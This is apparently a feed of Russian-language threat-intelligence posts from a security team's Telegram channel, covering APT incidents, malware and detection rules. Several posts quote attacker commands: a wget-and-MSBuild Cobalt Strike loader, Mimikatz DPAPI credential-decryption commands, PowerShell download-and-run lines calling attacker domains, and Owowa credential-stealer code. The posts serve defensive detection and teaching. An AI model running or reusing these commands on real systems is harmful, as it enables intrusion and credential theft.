ESCalator
3.98K subscribers
228 photos
1 video
1 file
96 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
💻 Расследуя инцидент, мы обнаружили полезный артефакт smb_context

C:\Windows\SysWOW64\smb_context.log — журнал событий smb от одного именитого антивирусного вендора.

Механизм работы пока не исследован нами до конца, но мы выяснили: анализируя данный журнал, можно обнаруживать факты выполнения команд, в частности, с использованием утилиты smbexec, а также факты доступа к файлам на диске.

Журнал может содержать следующие события:


PDMSmbFileAccessed
PDMSmbCreateFile
PDMSmbRenameFile


Пример:


<BeginStream>
PDMSmbFileAccessed("$windir\__1715675753.48",00000011000000000010010100100000,1399528814);
PDMSmbFileAccessed("$system32\cmpspy.dll",00001011110000000010001100100001,1399106043);
PDMSmbFileAccessed("$system32\reg.bat",00001011110000000010001100100001,1399106043);
<EndStream>

<BeginStream>
PDMSmbFileAccessed("$windir\psexesvc.exe",00001010100000000010001100100001,405741904);
<EndStream>


#tool #detect #hunt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Cobalt Strike Beacon и MSBuild

Практика наших расследований инцидентов показывает, что злоумышленники все еще используют Microsoft Build Engine для компиляции .NET и запуска Cobalt Strike Beacon на скомпрометированных узлах.

Предварительно на хост загружается конфигурация проекта .NET, представленная в формате XML. Конфигурация содержит в себе встроенную задачу.

Код задачи описан в структуре:

<Task> <Code Type="Fragment" Language="cs"> <![CDATA[...]]> </Code> </Task>


Задача — это блок исполняемого кода, с помощью которого MSBuild выполняет атомарные операции, которые используются разработчиками в процессе сборки проектов. В рассматриваемом случае злоумышленники используют данный механизм для запуска ВПО.

После успешной загрузки конфигурации запускается MSBuild, где параметром указан путь до конфигурации проекта. В результате на скомпрометированном хосте компилируется и запускается .NET библиотека. Она расшифровывает полезную нагрузку и вызывает функцию EnumChildWindows, которая исполняет шелл-код.

Пример запуска:

wget https://maliciouswebsite[.]com/doWqkwoown/update.csproj -O C:\Windows\Temp\update.csproj; C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\update.csproj


Yara:

rule Susp_Microsoft_Build_Engine_XML_Schema {
strings:
$s1 = "TaskFactory=\"CodeTaskFactory"
$s2 = "VirtualAllocEx(0xFFFFFFFF, 0, (UInt32)"
$e1 = "EnumChildWindows"
$e2 = "EnumDisplayMonitors"
condition:
all of ($s*) and any of ($e*)
}


Дополнительные материалы 👈

#dfir #hunt #detect #yara #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
DPAPI — популярный вектор для атак на ОС семейства Windows 💻

Ключи Wi-Fi, сертификаты, учетные данные, cookies браузеров, DropBox, Skype — и это только часть мишеней, на которые нацелены злоумышленники.

Сегодня разберем, что произойдет, если у пользователя сохранены учетные данные на рабочей станции, введенной в домен Active Directory, а злоумышленник загрузил на нее всем знакомый Mimikatz.

👀 Для начала рассмотрим, как связан DPAPI с учетными данными пользователей и другими секретами.

Интерфейс DPAPI используется компанией Microsoft в Windows с 2000-го года. Он позволяет хранить чувствительные данные пользователя в шифрованном виде.

Что использует этот интерфейс для шифрования данных?

• SID пользователя;
• hash пароля;
• Masterkey — ключевую сущность, за которой будут охотиться злоумышленники.

Masterkey в свою очередь генерируется из так называемых prekey и 64 рандомных байт. SID, hash пароля пользователя и Masterkey путем криптографических манипуляций образуют blob. Поэтому для расшифрования злоумышленнику нужно знать конкретный blob, который нужно расшифровать, Masterkey в открытом виде, hash пароля пользователя и его SID для расшифровки.

🗂 Упомянутые объекты и параметры содержатся в различных папках и ветках реестра. Нам интересны следующие папки:

Папка с сredential blob

\Users\<user>\appdata\local\microsoft\credentials\<credential blob>


Папка с файлами пользовательских mastekeys


\Users\%USER%\AppData\Roaming\Microsoft\Protect\%SID%\


Папка с файлами приватных RSA-ключей

%APPDATA%\Roaming\Microsoft\Crypto\RSA\<SID>\


У одного пользователя может быть несколько masterkeys на узле. Злоумышленник сначала должен будет узнать, какой masterkey используется сейчас для blob с учетными данными.

Находясь на узле и загрузив Mimikatz, злоумышленник может найти эту информацию, прочитав свойства внутри blob с помощью команды mimikatz:


dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob>


💡 Дисклеймер: если команды будут выполняться через Cobalt Strike или другой C2, то синтаксис команд будет другой.

Для корректной идентификации Masterkey необходимо обратить внимание на параметр guidMasterkey — это идентификатор Masterkey, который использовался для шифрования этого blob. Благодаря тому, что в нашем случае рабочая станция введена в домен и имеет с ним связь, можно запросить резервный RSA-ключ с контроллера домена.

Здесь важно отметить, что злоумышленник может запросить его только для своего авторизованного пользователя. Для того чтобы запросить этот ключ для всех пользователей и расшифровать все Masterkeys, понадобятся права доменного администратора.

Запрос RSA-ключа на контроллер домена будет выполнен со службы MS-BKRP (backupkey remote protocol) RPC:


dpapi::masterkey /in:C:\users\<username>\appdata\roaming\microsoft\protect\<SID>\<masterkey> /rpc


В ответ злоумышленнику придет masterkey в открытом виде (параметр key:) и его sha1 hash.

После этого он может попытаться расшифровать учетные данные пользователя и получить пароль в открытом виде.

Сделает он это с помощью команды:


dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob> /masterkey:<masterkey_as_plain_text>


И получит на выходе в параметре CredentialBlob: пароль скомпрометированного пользователя 💻

#DPAPI #win #hunt #ti
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡 Hellhounds остается одной из самых продвинутых группировок, атакующих компании на территории России

Про деятельность Hellhounds мы уже рассказывали в статьях «Операция Lahat» и «Операция Lahat. Часть 2».

В ходе расследования инцидента в IT-компании внимательный администратор заметил на одном из продакшн-серверов процесс, который коннектился к нехарактерному для инфраструктуры IP-адресу — 185.104.106.147.

udevd   24429 root    9u  IPv4         1081871629      0t0        TCP example.com:15777->185.104.106.147:9443 (ESTABLISHED)


Беглый анализ артефактов на узле и самого процесса из юзерспейса не принес результатов, после чего было принято решение дополнительно запросить дамп оперативной памяти.

Для снятия дампа мы выбрали утилиту AVML, а для анализа — модули linux.malfind.Malfind, linux.proc.Maps и linux.pslist.PsList. Нам удалось обнаружить регионы памяти, которые имеют права на выполнение кода, не маппятся на конкретный файл в системе и содержат исполняемый ELF-файл.


DEBUG
volatility3.plugins.linux.malfind: Injections : processing PID 24429 : VMA Anonymous Mapping : 0x55cc7566b000-0x55cc75685000

24429 udevd 0x55cc7566b000 0x55cc75685000 r-x
7f 45 4c 46 02 01 01 00 .ELF....


Процесс udevd, вероятно, легитимен, но его область памяти была перезаписана и содержала код Decoy Dog (Pupy RAT). На момент анализа в файловой системе отсутствовали персисты и сами файлы бэкдора. Таким образом, Decoy Dog работал только в оперативной памяти.

В новой версии злоумышленники добавили скриплет dumbexec — простейший шелл, слушающий порт 39339.

Кроме того, в одном из конфигурационных файлов злоумышленники использовали порт 31337, что является очередной отсылкой к eleet:


{'debug': False, 'launcher': 'bind', 'launcher_args': ['-t', 'rsa', '0.0.0.0:31337'], 'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)]...


Интересно еще и то, что для генерации доменов (DGA) используются не только DDNS-сервисы, но и домен верхнего уровня .info. Применяется новый лончер l4beacon, который маскирует трафик под UDP (или под TCP, ICMP):


{'debug': False, 'launcher': 'l4beacon', 'launcher_args': ['-p', '161', '-s', 'udp', '--domain', [REDACTED], '-E', 'zzux.com,mooo.com,info'], 'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)]}


Кроме того, в новой версии появилось шифрование конфигурации, содержащей параметры сетевого взаимодействия, ключи и сертификаты:


{'debug': False, 'cid': [REDACTED], 'bound': True, 'data': [REDACTED], 'tmpk': b'gFwpC9rCRmSNjHmvjs+3kB4HD22LGmFgs1BSSvc68fzMQiPcNXchPWYEpjQMYB56'}


Если установлен флаг bound, то в data находится остальная часть конфигурации, зашифрованная криптоалгоритмом ChaCha20, а ключ генерируется на основе идентификатора системы.

Кроме того, появился ключ tmpk, который используется для шифрования данных о системе, отправляемых скриплетом telemetry. Ранее для этого использовался тот же ключ, с помощью которого расшифровывался файл динамической конфигурации.

YARA-правило:


rule PTESC_apt_mem_ZZ_DecoyDog__Backdoor{
strings:
$p1 = "pupy://"
$p2 = "--pass-args"
$p3 = "LZMA error"
$p4 = "/__init__.pyo"
$pupy = "pupy"
condition:
all of ($p*) and #pupy >= 2
}


IoCs:


185.104.106.147:9443
0.0.0.0:31337
0.0.0.0:39339
mindly.social

*.zzux.com (DGA)
*.mooo.com (DGA)


#hunt #detect #dfir #hellhounds
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Эксфильтрация в промышленных масштабах 😐

APT-группировка Cloud Atlas атакует российские компании с 2019 года, занимается шпионажем и кражей конфиденциальной информации.

Расследуя очередной инцидент, связанный с деятельностью APT-группировки, команда PT ESC обнаружила Python-скрипт (VirusTotal 0/66) для массовой централизованной (по протоколу SMB) эксфильтрации данных из инфраструктуры жертвы.

Скрипт с именем v.3 запускался через механизм задач Windows:


C:\ProgramData\WindowsDefender\Update\SecuritySystrayw.exe C:\ProgramData\WindowsDefender\Update\v.3 -ip C:\ProgramData\WindowsDefender\Update\sys -c C:\ProgramData\WindowsDefender\Update\loc -A


Для корректной работы атакующие использовали в системе интерпретатор Python (SecuritySystrayw.exe) и архиватор 7-Zip. Конфигурационный файл loc закодирован с помощью алгоритма XOR с ключом 27. Файл sys содержал список IP-адресов, к которым подключались злоумышленники по протоколу SMB для поиска и сбора файлов по определенным параметрам.

Пример расшифрованной конфигурации:


{'USERCAT': True, 'USERCAT_DOWNLOAD': True, 'DEEP_SHARECAT': True, 'SHARECAT_DOWNLOAD': True, 'NEED_SAVE_CATS': False, 'remote_port': '445', 'username': [REDACTED], 'password': [REDACTED], 'my_name': [REDACTED], 'domain': [REDACTED], 'max_size_file': '2100000', 'min_size_file': '10', 'size_archive': '9242660', 'deep': '6', 'format_file': ['doc', 'docx', 'pdf', 'xls', 'rtf', 'xlsx', 'txt', 'zip', 'rar'], 'days': '1', 'host': 'https://update-version.net/pousowdie/alectoromancy/xenoblast/nadirwere/kamalbaka/shellprog/reverbed/saledroid.dotm/2', 'key': [REDACTED], 'wd': [{'wd_host': 'https://webdav.opendrive.com/', 'wd_login': [REDACTED], 'wd_password': [REDACTED], 'wd_work': True}], 'no_need_list': ['.', '..', 'desktop.ini', 'ADMIN$', 'IPC$', 'Default', 'All Users', 'Default User', 'Public', 'Microsoft', 'Windows', 'AppData', 'Application Data', 'Local Settings', 'Все пользователи'], 'need_folders': ['Downloads', 'Desktop', 'Documents']}


Конфигурация содержит параметры файлов, которые были интересны злоумышленникам, — списки расширений, директорий, размеров файлов. Перед отправкой собранные данные предварительно помещаются в архив с паролем.


command = f'{os.path.join(pfile, "7z.exe")} a "{os.path.join(pfile, "archiv_results", name)}" "{pfile}\\.\\temp\\*" -p{key} -mhe -sdel'


Эксфильтрация данных осуществлялась по протоколу WebDAV на сервис OpenDrive или методом POST на управляющий сервер. Помимо этого, нам удалось выявить, что атакующие начали использовать сервис MEGA.

IoCs:


164.25.54.22
update-version.net
webdav.opendrive.com
api.mega.co.nz


Happy hunting! 🎯

#dfir #hunt #detect #win #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Путешествие_Извилистых_Троп_манёвры_ExCobalt_в_атаках_на_российские.pdf
11.5 MB
Кстати, про Offzone 🙂

Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝

В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.

Приятного изучения и happy hunting!

#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀

Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.

❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.

В конфигурационном файле /etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.


location /ws/b3a4d3a2 {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
access_log off;
log_not_found off;
proxy_pass http://unix:/var/run/shm/evil.sock;
}


В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.

Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.

Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:


proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://unix:/var/run/shm/evil.sock;


Строки proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.

Строка proxy_pass содержит путь к файлу сокета в целевой системе — /var/run/shm/evil.sock.

Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:


lsof | grep /var/run/shm/evil.sock


И нашли процесс c PID 18653:


payload 18653 root 4u unix 0xffff74146a3b3743 0t0 25637138 /var/run/shm/evil.sock


Далее мы нашли исполняемый файл процесса:


lsof -p 18653 | grep cwd


Файл лежал в /usr/bin/, и он оказался бэкдором.

💡 Что мы теперь можем:

ловить WebSocket в трафике;
смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.

#tip #detect #hunt #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Атаки группы Team46 😎

Вчера, 4 сентября, исследователи из компании «Доктор Веб» выпустили интересный отчет о несостоявшейся атаке на российского оператора грузовых ж.-д. перевозок.

Нам хотелось бы добавить в этот отчет наши находки и дополнительную информацию о других атаках.

1️⃣ Первая атака

В исходном письме присутствовали два вектора — вредоносное вложение и ссылка на вредоносный архив rabotnik.today/resume/7952235986937661.rar. Отличительной особенностью этой атаки является то, что все используемые домены имеют заглушки, создающие вид его легитимности.

Так домен infosecteam.info принадлежал якобы российской компании InfoSecTeam (см. скриншот 1). Это может создавать видимость того, что файл является не реальной атакой, а пентестом. Страницы сайта явно переведены с помощью машинного перевода.

Шаблон сайта взят из магазина шаблонов (см. скриншот 2). Интересно, что при попытке поиска названия компании в Google первые две строки занимал сайт злоумышленников, а реальная компания из Великобритании — лишь четвертую (см. скриншот 3). На скриншоте также можно увидеть домен cyber46.team с точно таким же содержимым. По этому домену мы и назвали группировку Team46.

Сама атака носила явно массовый характер: мы обнаружили почти 4000 одинаковых ярлыков (с разными идентификаторами жертв) в архивах в открытых папках на infosecteam.info, загруженных туда в течение трех минут (см. скриншот 4).

2️⃣ Вторая атака

В апреле TI-эксперты отдела PT ESC также обнаружили аналогичные вредоносные ярлыки с именами SCAN_4024_2024_04_02.pdf.lnk и SCAN_4251_2024_03_25.pdf.lnk, загружавшие по ссылке srv480138.hstgr.cloud/uploads/scan_3824.pdf другой документ-приманку (см. скриншот 5).

В этой атаке содержимое домена srv480138.hstgr.cloud являлось полной копией сайта elevation.storeбьюти-магазина в ОАЭ. Заглушка совершенно не соотносилась с документом-приманкой, но это может говорить о том, что этот сервер злоумышленники могли также использовать для атак в ОАЭ, но подтверждений не нашлось.

🧐 Если взглянуть на команды ярлыков из двух атак, с помощью которых грузятся следующие стейджи, то можно увидеть определенное сходство:


powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'http://infosecteam.info/Job%20application.pdf' -OutFile $env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';$env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf; iwr 'http://infosecteam.info/base.php' -OutFile $env:LOCALAPPDATA\Yandex\YandexBrowser\Application\Wldp.dll -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';"



powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"


Список сетевых IoC:


rabotnik.today
infosecteam.info
cybers46.team
cybers4646.my.id
srv480138.hstgr.cloud


#TI #hunt #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
TLS в сети: как быть 🤷‍♂️

Ты — мощный движок разбора сетевого трафика.

Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.

В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.

Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙

«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?

Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:

1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.

Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)

Основные параметры заголовков, которые можно проанализировать:

Версия протокола. Например, SSL 3.0 или TLS 1.0.

Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).

Алгоритмы сжатия.

Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).

Аспекты анализа сертификатов:

Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.

Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).

Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).

🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.

В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).

Например, JA3 a85be79f7b569f1df5e6087b69deb493 однозначно указывает на соединение ВПО Remcos с С2-сервером (скриншот 2).

Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.

Анализ характеристик TCP-сессий

Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.

В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.

Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.

Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯

#detect #malware #network #hunt #tips
@ptescalator
Как пройти в интернет 🚶‍♂️

Что делают хакеры, когда интересующий их сегмент сети не имеет доступа в интернет, а подключиться к C2 очень хочется? Правильно: ищут хосты, которые смотрят в разные подсети, и пытаются пробросить каналы управления через них. Если атакуемая инфраструктура сильно сегментирована, такой канал может проходить через много узлов и принимать причудливые формы.

В одном из недавних кейсов хакеры использовали два метода для проброса канала, условно назовем их «простой» и «сложный».

🤯 Начнем со «сложного»

Злоумышленники обнаружили хост, через который был возможен доступ из одной подсети в другую. Но был нюанс: попасть на этот хост можно было только через RDP (remote desktop — удаленный рабочий стол).

Хакеры нашли решение. На прослушивание порта 3389 они повесили своеобразный сплиттер трафика: настоящий трафик RDP перенаправлялся на порт 33389, а весь остальной трафик на порт 3389 проксировался дальше внутрь соседней подсети. Принадлежность пакета к RDP определялась по первым трем байтам — они должны быть равны 03 00 00.

Настоящую службу RDP хакеры перевесили со стандартного порта 3389 на порт 33389. Таким образом, злоумышленники получили возможность передавать трафик между сегментами, при этом подключающиеся по RDP пользователи не видели никакой разницы.

Присутствие такой утилиты на хосте выдают (помимо, собственно, наличия исполняемого файла на файловой системе) следующие признаки:

1️⃣ Изменение порта RDP на нестандартный (проверить порт можно в свойствах системы или с помощью команды Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber").

2️⃣ Какой-то «левый» процесс слушает порт 3389.

3️⃣ Подключения пользователей по RDP в такой схеме отображаются как исходящие от localhost. На практике мы видели только IP-адрес 127.0.0.1, но не стоит забывать о том, что вообще-то таких адресов целая подсеть, а еще есть варианты вроде ::1 или даже ::%16777216.

Но имейте в виду, что поменять порт RDP мог админ, а подключения с локалхоста могут говорить и о других вещах, например о наличии туннелей 🙂

💆‍♂️ В чем тогда заключался «простой» способ?

В этом варианте злоумышленники для проксирования трафика использовали функциональность Windows под названием Port Proxy.

В самом простом варианте этот инструмент позволяет создать простой маппинг «откуда пришел пакет — куда его отправить». Проще всего показать это на примере:


netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp


После выполнения этой команды хост начинает слушать порт 7000, а входящие TCP-соединения перенаправляет на example.com:443. Более подробно про эти функции можно почитать в документации Microsoft.

Этот метод хорош тем, что не нужно использовать стороннее ПО. Основное ограничение метода заключается в том, что маппинг статичен, то есть позволяет организовать только жестко заданное перенаправление пакетов.

🕵️‍♀️ Как обнаружить использование такого способа

1️⃣ Детектировать запуск команды netsh interface portproxy add (например, в событиях Sysmon 1 или Security 4688).

Детект в MaxPatrol SIEM: Execute_Malicious_Command

2️⃣ По наличию в реестре ключей в ветке [HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\].

Детект в MaxPatrol SIEM: Port_Forwarding_or_Tunneling

3️⃣ По появлению подозрительных слушающих портов или сетевых подключений у службы IpHelper (процесс C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc).

👉 Кстати, в том кейсе злоумышленники умудрились с помощью portproxy построить цепочку длиной в четыре хопа, причем на каждом этапе в проксируемый порт также перенаправлялся трафик от «закладок» на хостах внутри сегмента. Получилось целое «дерево», «корни» которого уходили на сервер C2 в интернете.

Happy hunting!

#Hunt #C2 #Detect #DFIR #SIEM
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Slam screen locker. Что ты такое? ☹️

На очереди — fast malware analysis, проведенный одним воскресным вечером.

В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).

В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.

🏃‍♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.

Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.

• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);

• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);

• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);

• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).

И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.

😃 Самые неприятные и интересные пакости

Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.

Команда: textts*<text_to_speek>.
Действие: text to speech.

Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.

Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.

Команда: BSOD#.
Действие: вызвать синий экран смерти.

А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:


alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8<>17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8<>17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)


IOCs


SHA-256: e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b
C2: 77.231.153.42


Happy hunting!

#Hunt #C2 #Tips #IOC #detect #malware #network #suricata

@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
⚠️ OWOWAсный модуль, или IIS кOWOWAрен

Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.

А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.

Модуль устанавливается в системе командой appcmd.exe install module. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.


public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...


Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.

Пример учетных данных, которые записываются в HashSet:


ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}


Данные, как и раньше, защищены алгоритмом RSA-2048, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00, она является разделителем учетных записей.


memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);


Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.

Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком username: ZaDS0tojX0VDh82.

Пример GET-запроса в журналах IIS-сервера:


2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14


